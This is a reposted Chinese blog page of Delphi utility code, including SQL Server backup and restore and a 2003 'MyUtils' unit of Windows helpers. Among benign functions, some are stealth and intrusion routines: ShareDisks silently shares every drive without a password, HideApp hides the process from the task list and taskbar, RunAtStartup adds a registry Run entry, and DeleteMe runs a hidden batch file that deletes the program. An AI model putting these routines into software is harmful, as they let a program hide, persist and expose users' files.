delphi 公共函数

最新推荐文章于 2022-07-12 13:22:06 发布

weixin_30273763

最新推荐文章于 2022-07-12 13:22:06 发布

阅读量82

点赞数

文章标签：操作系统数据库

原文链接：http://www.cnblogs.com/m0488/archive/2013/06/14/3135112.html

版权

delphi 公共函数

让TDBNavigator变透明

procedure TForm1.Button1Click(Sender: TObject);
var
i : Integer;
x : Integer;
begin
for i := DBNavigator1.ControlCount - 1 downto 0 do
begin
    x := DBNavigator1.Left + DBNavigator1.Controls[i].Left;
    with DBNavigator1.Controls[i] do
    begin
      Parent := DBNavigator1.Parent;
      Left    := x;
      Top    := DBNavigator1.Top;
    end;
end;
DBNavigator1.Visible := False;
end;

SQL Server 2000 数据库的备份与恢复

procedure Tfback.BitBtn1Click(Sender: TObject);
begin
label1.Caption:='正在备份....';
a1.Active:=true;
//adodm.cback.CommandText:='backup database yd to disk=''
//d:/Program Files/Microsoft SQL Server/MSSQL/BACKUP/yd.back''';
adm.adocmd.CommandText:='backup database account2003 to disk=''d:/account/BACKUP/account.back''';
try
adm.adocmd .Execute;
label1.Caption:='备份成功！'; a1.Active:=false;
except
label1.Caption:='备份失败，（可能目标路径不存在）！';a1.Active:=false;
end;
end;
//经测试目标目录应存在
procedure Tfback.BitBtn2Click(Sender: TObject);
begin

label1.Caption:='正在恢复....';
adm.adoconn.close;
if application.MessageBox('此操作将使上次备份以来的所有数据丢失，是否继续？','恢复数据',MB_OKCANCEL)=idok then
begin
a1.Active:=true;
adm.adocmd.CommandText:='restore database yd from disk=''d:/account/bACKUP/account.back'' with replace';
try
   try
   adm.adocmd.Execute;
    label1.Caption:='恢复成功！';
    except
    showmessage('数据库正在被使用！请确定已关闭其它药店管理程序！');
    label1.Caption:='恢复失败！';
    end;
finally
a1.Active:=false;
   try
   adm.ADOConn.Connected :=true;
   except
     showmessage('程序运行发生错误，请重新启动程序！');
     application.Terminate;
   end;
end;
end;
end;

procedure Tfback.FormClose(Sender: TObject; var Action: TCloseAction);
begin
action:=cafree;
end;

procedure Tfback.FormDestroy(Sender: TObject);
begin
fback:=nil;
end;

//connected=false断开后应加上sleep(3000)才能保证真正恢复成功

   {*******************************
*     MyUtils: ver 0.99       *
*                              *
*    Written by Jacky          *
*                              *
*   Email:gzjacky168@21cn.com *
*                              *
* 以下Function都在Delphi6     *
* WINXP下编译成功，确保能用   *
*                              *
*          最后修改：2003-3-5 *
********************************}

unit MyUtils;

interface

uses
Windows, Messages, SysUtils, Classes, Forms, Registry, ShellAPI, WinSock,
Jpeg, Graphics;

function GetHdID : String;
//获取Ide硬盘序列号

function GetAppName: String;
//获取当前程序的文件名(带路径)

function CloseApp(ClassName: String): Boolean;
//关闭外部应用程序

procedure DeleteMe;
//程序自杀

procedure MyMsg(Msg: string);
//显示提示信息框

function GetAppPath:String;
//返回当前程序的目录

procedure GetDisks(Strings: TStringList);
//获取所有盘符

procedure HideApp;
//隐藏程序

function GetTmpPath: String;
//取得WINDOWS的Temp路径

function GetSysPath: String;
//取得WINDOWS的SYSTEM路径

function GetWinPath: String;
//取得WINDOWS安装路径

procedure ShareDisks;
//共享所有磁盘

procedure RunAtStartup(Key, Value: String);
//把程序放到注册表的启动组里

procedure About;
//显示Windows关于对话框

function GetIP:string;
//此函数实际是获取最后一个IP地址的字符串，一般是拨号后动态分配的IP地址。
//如果，主机还未拨号上网，则返回的是本地局域网的IP地址

function ExtractRes(ResType, ResName, ResNewName: string): boolean;
//从资源文件中提取资源

function GetBootedTime: Real;
///获取Windows启动后经过的时间(分钟)

function xToD(const Num:Real):String;
//小写金额转大写金额

procedure Bmp2Jpg(BmpName, JpgName: String);
//将bmp文件转换为jpg文件
//Example: Bmp2Jpg('c:/temp/aaa.bmp','c:/temp/aaa.jpg')

procedure Jpg2Bmp(JpgFile, BmpFile: String);
//将Jpg文件转换为Bmp文件

implementation

procedure Jpg2Bmp(JpgFile, BmpFile: String);
//将Jpg文件转换为Bmp文件
var
   MyJPEG : TJPEGImage;
   MyBMP : TBitmap;
begin
   MyJPEG := TJPEGImage.Create;
   with MyJPEG do
      try
         LoadFromFile(JpgFile); //你的图片位置
         MyBMP := TBitmap.Create;
         with MyBMP do
            begin
               Assign(MyJPEG);
               SaveToFile(BmpFile);//保存路径
               Free;
            end;
      finally
         Free;
      end;
end;

procedure Bmp2Jpg(BmpName, JpgName: String);
//将bmp文件转换为jpg文件
var
   MyJPEG : TJPEGImage;
   MyBMP : TBitmap;
begin
   MyBMP := TBitmap.Create;
   with MyBMP do
      try
         LoadFromFile(BmpName); //你的图片位置
         MyJPEG := TJPEGImage.Create;
         with MyJPEG do
            begin
               Assign(MyBMP);
               CompressionQuality:=60; //压缩比例 1..100
               Compress;
               SaveToFile(JpgName);//保存路径
               Free;
            end;
      finally
         Free;
      end;
end;

function xToD(const Num:Real):String;
//小写金额转大写金额
var aa,bb,cc:string;
    bbb:array[1..16]of string;
    uppna:array[0..9] of string;
    i:integer;
begin
   bbb[1]:='万';
   bbb[2]:='仟';
   bbb[3]:='佰';
   bbb[4]:='拾';
   bbb[5]:='亿';;
   bbb[6]:='仟';;
   bbb[7]:='佰';
   bbb[8]:='拾';
   bbb[9]:='万';
   bbb[10]:='仟';
   bbb[11]:='佰';
   bbb[12]:='拾';
   bbb[13]:='元';
   bbb[14]:='.';
   bbb[15]:='角';
   bbb[16]:='分';
   uppna[1]:='壹';
   uppna[2]:='贰';
   uppna[3]:='叁';
   uppna[4]:='肆';
   uppna[5]:='伍';
   uppna[6]:='陆';
   uppna[7]:='柒';
   uppna[8]:='捌';
   uppna[9]:='玖';
   Str(num:16:2,aa);
   cc:='';
   bb:='';
   result:='';
   for i:=1 to 16 do
     begin
       cc:=aa[i];
       if cc<>' ' then
         begin
          bb:=bbb[i];
           if cc='0' then
             cc:='零'
           else
             begin
               if cc='.' then
                 begin
                   cc:='';
                   bb:='';
                 end
               else
                 begin
                   cc:=uppna[StrToInt(cc)];
                 end
             end;
           result:=result+(cc+bb)
         end;
     end;
   //result:=result+'正';
end;

function GetBootedTime: Real;
//获取Windows启动后经过的时间(分钟)
begin
Result:=Int(GetTickCount/1000/60);
end;

function GetAppName: String;
//获取当前程序的文件名(带路径)
begin
Result:=Application.ExeName;
end;

function ExtractRes(ResType, ResName, ResNewName: String): Boolean;
//从资源文件中提取资源
var
Res: TResourceStream;
begin
try
    Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
    try
      Res.SavetoFile(ResNewName);
      Result := true;
    finally
      Res.Free;
    end;
except
    Result := false;
end;
end;

function GetIP:string;
//此函数实际是获取最后一个IP地址的字符串，一般是拨号后动态分配的IP地址。
//如果，主机还未拨号上网，则返回的是本地局域网的IP地址
var
WSAData:TWSAData;
HostName:array[0..MAX_COMPUTERNAME_LENGTH] of Char;
HostEnt:PHostEnt;
LastIP:PInAddr;
IPList:^PInAddr;
begin
result:='';
if 0=WSAStartup(MAKEWORD(1,1), WSAData) then
try
    if 0=gethostname(HostName, MAX_COMPUTERNAME_LENGTH+1) then
    begin
      HostEnt:=gethostbyname(HostName);
      if HostEnt<>nil then
      begin
        IPList:=Pointer(HostEnt^.h_addr_list);
        repeat
          LastIP:=IPList^;
          INC(IPList);
        until IPList^=nil;
        if LastIP<>nil then
          result:=inet_ntoa(LastIP^);
      end;
    end;
finally
    WSACleanup;
end;
end;

procedure About;
//显示Windows关于对话框
begin
ShellAbout(Application.Handle, PChar(application.MainForm.Caption), '',Application.Icon.Handle );
end;

procedure ShareDisks;
//共享所有磁盘
var
   Reg: TRegistry;
   Buffer: PChar;
   i: Integer;
   S: TStringList;
const
   Key='SOFTWARE/Microsoft/Windows/CurrentVersion/Network/LanMan/';
begin
   S:=TStringList.Create;
   GetDisks(S);
   S.Delete(0);

   if Win32Platform <> VER_PLATFORM_WIN32_NT
   then
      begin
         for i:=0 to S.Count-1 do
            begin
               Reg:=TRegistry.Create;
               try
                  Reg.RootKey:=HKEY_LOCAL_MACHINE;
                  Reg.OpenKey(Key + UpperCase(Copy(S.Strings[i],1,1)) + '$', True);
                  Reg.WriteInteger('Flags', 770);
                  Reg.WriteString('Path', UpperCase(S.Strings[i]));
                  Reg.WriteString('Remark', '');
                  Reg.WriteInteger('Type', 0);
                  Reg.WriteBinaryData('Parm1enc', Buffer, 0);
                  Reg.WriteBinaryData('Parm2enc', Buffer, 0);
                  Reg.CloseKey;
               finally
                  Reg.Free;
               end;
            end;
      end
   else
      begin
      end;

S.Free;
end;

procedure RunAtStartup(Key, Value: String);
//把程序放到注册表的启动组里
var Reg: TRegistry;
begin
   Reg:=TRegistry.Create;
   Reg.RootKey:=HKEY_LOCAL_MACHINE;
   Reg.OpenKey('/SOFTWARE/Microsoft/Windows/CurrentVersion/Run', False);
   Reg.WriteString(Key, Value);
   Reg.Free;
end;

procedure HideApp;
//隐藏程序
type
   TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
var
   Hndl: THandle;
   RegisterServiceProcess: TRegisterServiceProcess;
begin
   if Win32Platform <> VER_PLATFORM_WIN32_NT
   then //不是NT
      begin
         Hndl:=LoadLibrary('KERNEL32.DLL');
         RegisterServiceProcess:=GetProcAddress(Hndl, 'RegisterServiceProcess');
         RegisterServiceProcess(GetCurrentProcessID, 1);
         //程序不出现在ALT+DEL+CTRL列表中
         SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
         //程序不出现在任务栏
         Application.ShowMainForm:=False;
         //程序不出现主窗口
         FreeLibrary(Hndl);
      end
   else
      begin
         SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
         //程序不出现在任务栏
         Application.ShowMainForm:=False;
         //程序不出现主窗口
      end;
end;

procedure GetDisks(Strings: TStringList);
//获取所有盘符
const BufSize = 256;
var Buffer: PChar;
    P: PChar;
begin
   GetMem(Buffer, BufSize);
   try
      Strings.BeginUpdate;
      try
         Strings.Clear;
         if GetLogicalDriveStrings(BufSize, Buffer) <> 0 then
            begin
               P := Buffer;
                  while P^ <> #0 do
                     begin
                        Strings.Add(P);
                        Inc(P, StrLen(P) + 1);
                     end;
            end;
      finally
         Strings.EndUpdate;
      end;
   finally
      FreeMem(Buffer, BufSize);
   end;
end;

function CloseApp(ClassName: String): Boolean;
//关闭外部应用程序
var Exehandle: THandle;
begin
   //ExeHandle := FindWindow(nil, Pchar(Caption));
   ExeHandle := FindWindow(Pchar(ClassName),nil);
   if ExeHandle <> 0
   then
      begin
         PostMessage(ExeHandle, WM_Quit, 0, 0);
         Result:=True;
      end
   else
      begin
         Result:=False;
      end;
end;

function GetTmpPath: String;
//取得WINDOWS的Temp路径
var TmpDir: PChar ;
begin
   GetMem(TmpDir,255);
   GetTempPath(255, TmpDir);
   Result:=(TmpDir);
   if Result[Length(Result)]<>'/' then Result := Result + '/';
   FreeMem(TmpDir);
end;

function GetWinPath: String;
//取得WINDOWS安装路径
var WinDir: PChar ;
begin
   GetMem(WinDir,255);
   GetWindowsDirectory(WinDir,255);
   Result:=(WinDir);
   if Result[Length(Result)]<>'/' then Result := Result + '/';
   FreeMem(WinDir);
end;

function GetSysPath: String;
//取得WINDOWS的SYSTEM路径
var SysDir: PChar ;
begin
   GetMem(SysDir,255);
   GetSystemDirectory(SysDir,255);
   Result:=(SysDir);
   if Result[Length(Result)]<>'/' then Result := Result + '/';
   FreeMem(SysDir);
end;

function GetAppPath:String;
//返回当前程序的目录
begin
Result:=ExtractFilePath(Application.ExeName);
if Result[Length(Result)]<>'/' then Result := Result + '/';
end;

procedure MyMsg(Msg: String);
//显示提示信息框
begin
Application.MessageBox(PChar(Msg),'信息',
MB_OK+MB_ICONASTERISK+MB_DEFBUTTON1+MB_APPLMODAL);
end;

procedure DeleteMe;
//程序自杀
   //-----------------------------------------------------------
   //转换长文件名
   function GetShortName(sLongName: string): string;
   var sShortName: string;
       nShortNameLen: integer;
   begin
      SetLength(sShortName, MAX_PATH);
      nShortNameLen := GetShortPathName(PChar(sLongName),
      PChar(sShortName), MAX_PATH - 1);
      if (0 = nShortNameLen) then
         begin
         //handle errors...
         end;
      SetLength(sShortName, nShortNameLen);
      Result := sShortName;
   end;
   //-------------------------------------------------
var
   BatchFile: TextFile;
   BatchFileName: string;
   ProcessInfo: TProcessInformation;
   StartUpInfo: TStartupInfo;
begin
   BatchFileName := ExtractFilePath(ParamStr(0)) + '$$a$$.bat';
   AssignFile(BatchFile, BatchFileName);
   Rewrite(BatchFile);
   Writeln(BatchFile, ':try');
   Writeln(BatchFile, 'del "' + GetShortName(ParamStr(0)) + '"');
   Writeln(BatchFile, 'if exist "' + GetShortName(ParamStr(0)) + '"' + ' goto try');
   Writeln(BatchFile, 'del %0');
   Writeln(BatchFile, 'cls');
   Writeln(BatchFile, 'exit');
   CloseFile(BatchFile);
   FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
   StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
   StartUpInfo.wShowWindow := SW_Hide;
   if CreateProcess(nil, PChar(BatchFileName), nil, nil,
   False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
   ProcessInfo) then
      begin
         CloseHandle(ProcessInfo.hThread);
         CloseHandle(ProcessInfo.hProcess);
      end;
//Application.Terminate;
end;

function GetHdID : String;
//获取Ide硬盘序列号
type
TSrbIoControl = packed record
    HeaderLength : ULONG;
    Signature : Array[0..7] of Char;
    Timeout : ULONG;
    ControlCode : ULONG;
    ReturnCode : ULONG;
    Length : ULONG;
end;
SRB_IO_CONTROL = TSrbIoControl;
PSrbIoControl = ^TSrbIoControl;
TIDERegs = packed record
    bFeaturesReg : Byte;     // Used for specifying SMART "commands".
    bSectorCountReg : Byte; // IDE sector count register
    bSectorNumberReg : Byte; // IDE sector number register
    bCylLowReg : Byte;       // IDE low order cylinder value
    bCylHighReg : Byte;      // IDE high order cylinder value
    bDriveHeadReg : Byte;    // IDE drive/head register
    bCommandReg : Byte;      // Actual IDE command.
    bReserved : Byte;        // reserved. Must be zero.
end;
IDEREGS = TIDERegs;
PIDERegs = ^TIDERegs;
TSendCmdInParams = packed record
    cBufferSize : DWORD;
    irDriveRegs : TIDERegs;
    bDriveNumber : Byte;
    bReserved : Array[0..2] of Byte;
    dwReserved : Array[0..3] of DWORD;
    bBuffer : Array[0..0] of Byte;
end;
SENDCMDINPARAMS = TSendCmdInParams;
PSendCmdInParams = ^TSendCmdInParams;
TIdSector = packed record
    wGenConfig : Word;
    wNumCyls : Word;
    wReserved : Word;
    wNumHeads : Word;
    wBytesPerTrack : Word;
    wBytesPerSector : Word;
    wSectorsPerTrack : Word;
    wVendorUnique : Array[0..2] of Word;
    sSerialNumber : Array[0..19] of Char;
    wBufferType : Word;
    wBufferSize : Word;
    wECCSize : Word;
    sFirmwareRev : Array[0..7] of Char;
    sModelNumber : Array[0..39] of Char;
    wMoreVendorUnique : Word;
    wDoubleWordIO : Word;
    wCapabilities : Word;
    wReserved1 : Word;
    wPIOTiming : Word;
    wDMATiming : Word;
    wBS : Word;
    wNumCurrentCyls : Word;
    wNumCurrentHeads : Word;
    wNumCurrentSectorsPerTrack : Word;
    ulCurrentSectorCapacity : ULONG;
    wMultSectorStuff : Word;
    ulTotalAddressableSectors : ULONG;
    wSingleWordDMA : Word;
    wMultiWordDMA : Word;
    bReserved : Array[0..127] of Byte;
end;
PIdSector = ^TIdSector;
const
IDE_ID_FUNCTION = $EC;
IDENTIFY_BUFFER_SIZE = 512;
DFP_RECEIVE_DRIVE_DATA = $0007c088;
IOCTL_SCSI_MINIPORT = $0004d008;
IOCTL_SCSI_MINIPORT_IDENTIFY = $001b0501;
DataSize = sizeof(TSendCmdInParams)-1+IDENTIFY_BUFFER_SIZE;
BufferSize = SizeOf(SRB_IO_CONTROL)+DataSize;
W9xBufferSize = IDENTIFY_BUFFER_SIZE+16;
var
hDevice : THandle;
cbBytesReturned : DWORD;
pInData : PSendCmdInParams;
pOutData : Pointer; // PSendCmdOutParams
Buffer : Array[0..BufferSize-1] of Byte;
srbControl : TSrbIoControl absolute Buffer;

procedure ChangeByteOrder( var Data; Size : Integer );
var
ptr : PChar;
i : Integer;
c : Char;
begin
ptr := @Data;
for i := 0 to (Size shr 1)-1 do
begin
    c := ptr^;
    ptr^ := (ptr+1)^;
    (ptr+1)^ := c;
    Inc(ptr,2);
end;
end;

begin
Result := '';
FillChar(Buffer,BufferSize,#0);
if Win32Platform=VER_PLATFORM_WIN32_NT then
begin // Windows NT, Windows 2000
    // Get SCSI port handle
    hDevice := CreateFile( '//./Scsi0:',
    GENERIC_READ or GENERIC_WRITE,
    FILE_SHARE_READ or FILE_SHARE_WRITE,
    nil, OPEN_EXISTING, 0, 0 );
    if hDevice=INVALID_HANDLE_VALUE then Exit;
    try
      srbControl.HeaderLength := SizeOf(SRB_IO_CONTROL);
      System.Move('SCSIDISK',srbControl.Signature,8);
      srbControl.Timeout := 2;
      srbControl.Length := DataSize;
      srbControl.ControlCode := IOCTL_SCSI_MINIPORT_IDENTIFY;
      pInData := PSendCmdInParams(PChar(@Buffer)
      +SizeOf(SRB_IO_CONTROL));
      pOutData := pInData;
      with pInData^ do
      begin
        cBufferSize := IDENTIFY_BUFFER_SIZE;
        bDriveNumber := 0;
        with irDriveRegs do
        begin
          bFeaturesReg := 0;
          bSectorCountReg := 1;
          bSectorNumberReg := 1;
          bCylLowReg := 0;
          bCylHighReg := 0;
          bDriveHeadReg := $A0;
          bCommandReg := IDE_ID_FUNCTION;
        end;
      end;
      if not DeviceIoControl( hDevice, IOCTL_SCSI_MINIPORT,
      @Buffer, BufferSize, @Buffer, BufferSize,
      cbBytesReturned, nil ) then Exit;
    finally
      CloseHandle(hDevice);
    end;
end else
begin // Windows 95 OSR2, Windows 98
    hDevice := CreateFile( '//./SMARTVSD', 0, 0, nil,
    CREATE_NEW, 0, 0 );
    if hDevice=INVALID_HANDLE_VALUE then Exit;
    try
      pInData := PSendCmdInParams(@Buffer);
      pOutData := @pInData^.bBuffer;
      with pInData^ do
      begin
        cBufferSize := IDENTIFY_BUFFER_SIZE;
        bDriveNumber := 0;
        with irDriveRegs do
        begin
          bFeaturesReg := 0;
          bSectorCountReg := 1;
          bSectorNumberReg := 1;
          bCylLowReg := 0;
          bCylHighReg := 0;
          bDriveHeadReg := $A0;
          bCommandReg := IDE_ID_FUNCTION;
        end;
      end;
      if not DeviceIoControl( hDevice, DFP_RECEIVE_DRIVE_DATA,
      pInData, SizeOf(TSendCmdInParams)-1, pOutData,
      W9xBufferSize, cbBytesReturned, nil ) then Exit;
    finally
      CloseHandle(hDevice);
    end;
end;
with PIdSector(PChar(pOutData)+16)^ do
begin
    ChangeByteOrder(sSerialNumber,SizeOf(sSerialNumber));
    SetString(Result,sSerialNumber,SizeOf(sSerialNumber));
end;
end;

end.

转载于:https://www.cnblogs.com/m0488/archive/2013/06/14/3135112.html

weixin_30273763

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
delphi 公共函数

delphi 公共函数让TDBNavigator变透明procedure TForm1.Button1Click(Sender: TObject);var i : Integer; x : Integer;begin for i := DBNavigator1.ControlCount - 1 downto 0 do begin x := DBNavigator1.L...
复制链接

扫一扫